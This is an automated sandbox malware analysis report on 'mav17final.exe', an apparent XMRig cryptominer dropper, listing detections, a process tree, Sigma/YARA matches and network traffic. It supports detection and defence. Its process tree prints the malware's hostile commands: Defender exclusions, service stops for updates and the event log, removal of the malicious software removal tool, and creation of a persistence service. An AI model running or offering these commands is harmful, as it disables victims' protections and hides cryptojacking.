Edit tour

Windows Analysis Report
mav17final.exe

Overview

General Information

Sample name:	mav17final.exe
Analysis ID:	1445527
MD5:	9e77a1c36b7ee264c38b958963769c08
SHA1:	eb7ad58040a6dbf826a37d52c26f7ce8ef963342
SHA256:	f1836d3e4c6916cdc1f873b430d0a2784885e587683f6917fd51c04eba18933c
Tags:	exe
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Xmrig cryptocurrency miner

Adds a directory exclusion to Windows Defender

Contains functionality to infect the boot sector

Found strings related to Crypto-Mining

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to enumerate running services

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

mav17final.exe (PID: 1968 cmdline: "C:\Users\user\Desktop\mav17final.exe" MD5: 9E77A1C36B7EE264C38B958963769C08)

mav17final.exe (PID: 1776 cmdline: "C:\Users\user\Desktop\mav17final.exe" MD5: 9E77A1C36B7EE264C38B958963769C08)

cmd.exe (PID: 5840 cmdline: C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6160 cmdline: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5708 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\dialer.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 3664 cmdline: C:\Users\user\AppData\Local\Temp\dialer.exe MD5: 0BCBEA7313655A42ECC0A1FDBCF37993)

powershell.exe (PID: 5084 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1076 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 5680 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 6460 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6536 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1876 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6304 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5440 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5940 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3140 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6460 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5664 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6192 cmdline: C:\Windows\system32\sc.exe delete "Build" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5960 cmdline: C:\Windows\system32\sc.exe create "Build" binpath= "C:\ProgramData\dialer.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3144 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5160 cmdline: C:\Windows\system32\sc.exe start "Build" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 6204 cmdline: C:\ProgramData\dialer.exe MD5: 0BCBEA7313655A42ECC0A1FDBCF37993)

powershell.exe (PID: 6108 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5664 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 1200 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 5776 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1360 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5948 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5084 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5708 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3620 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 4720 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5680 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 4440 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 5952 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

dwm.exe (PID: 2804 cmdline: dwm.exe MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 2076 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000042.00000002.3235461112.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000042.00000002.3235461112.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION

Unpacked PEs

Source	Rule	Description	Author	Strings
66.2.dwm.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
66.2.dwm.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37ef98:$a1: mining.set_target 0x371220:$a2: XMRIG_HOSTNAME 0x373b48:$a3: Usage: xmrig [OPTIONS] 0x3711f8:$a4: XMRIG_VERSION
66.2.dwm.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ee1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
66.2.dwm.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9748:$s1: %s/%s (Windows NT %lu.%lu 0x3cd180:$s3: \\.\WinRing0_ 0x376148:$s4: pool_wallet 0x3705f0:$s5: cryptonight 0x370600:$s5: cryptonight 0x370610:$s5: cryptonight 0x370620:$s5: cryptonight 0x370638:$s5: cryptonight 0x370648:$s5: cryptonight 0x370658:$s5: cryptonight 0x370670:$s5: cryptonight 0x370680:$s5: cryptonight 0x370698:$s5: cryptonight 0x3706b0:$s5: cryptonight 0x3706c0:$s5: cryptonight 0x3706d0:$s5: cryptonight 0x3706e0:$s5: cryptonight 0x3706f8:$s5: cryptonight 0x370710:$s5: cryptonight 0x370720:$s5: cryptonight 0x370730:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\dialer.exe, ParentImage: C:\Users\user\AppData\Local\Temp\dialer.exe, ParentProcessId: 3664, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 5940, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\mav17final.exe", ParentImage: C:\Users\user\Desktop\mav17final.exe, ParentProcessId: 1776, ParentProcessName: mav17final.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force", ProcessId: 5840, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "Build" binpath= "C:\ProgramData\dialer.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "Build" binpath= "C:\ProgramData\dialer.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\dialer.exe, ParentImage: C:\Users\user\AppData\Local\Temp\dialer.exe, ParentProcessId: 3664, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "Build" binpath= "C:\ProgramData\dialer.exe" start= "auto", ProcessId: 5960, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5840, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 6160, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 2076, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\dialer.exe, ParentImage: C:\Users\user\AppData\Local\Temp\dialer.exe, ParentProcessId: 3664, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 3144, ProcessName: sc.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: gta5modmenufree.com

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\dialer.exe	ReversingLabs: Detection: 79%
Source: C:\ProgramData\dialer.exe	Virustotal: Detection: 65%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Virustotal: Detection: 65%	Perma Link

Multi AV Scanner detection for submitted file

Source: mav17final.exe	ReversingLabs: Detection: 34%
Source: mav17final.exe	Virustotal: Detection: 16%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\dialer.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\dialer.exe	Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 66.2.dwm.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000042.00000002.3235461112.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY

Found strings related to Crypto-Mining

Source: dwm.exe

String found in binary or memory: cryptonight-monerov7

Source: mav17final.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2073274420.00007FF8B9843000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: mav17final.exe, 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2072745005.00007FF8B90AC000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2072745005.00007FF8B90AC000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: mav17final.exe, 00000000.00000003.1983941024.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: mav17final.exe, 00000000.00000003.1983941024.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2073128104.00007FF8B93C8000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: mav17final.exe, 00000002.00000002.2068496795.00007FF8A8CEB000.00000002.00000001.01000000.00000004.sdmp

Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA487C0 FindFirstFileExW,FindClose,	0_2_00007FF79EA487C0
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA53A64 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF79EA53A64
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA53A64 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF79EA53A64
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA5D354 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	0_2_00007FF79EA5D354

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B9075AC0 SetErrorMode,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,GetVolumeInformationA,SetLastError,FindFirstVolumeMountPointA,FindNextVolumeMountPointA,FindVolumeMountPointClose,SetErrorMode,FindVolumeMountPointClose,SetErrorMode,

2_2_00007FF8B9075AC0

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 77.105.166.179:7752

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179
Source: unknown	TCP traffic detected without corresponding DNS query: 77.105.166.179

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B93C57F8 recv,

2_2_00007FF8B93C57F8

Source: global traffic

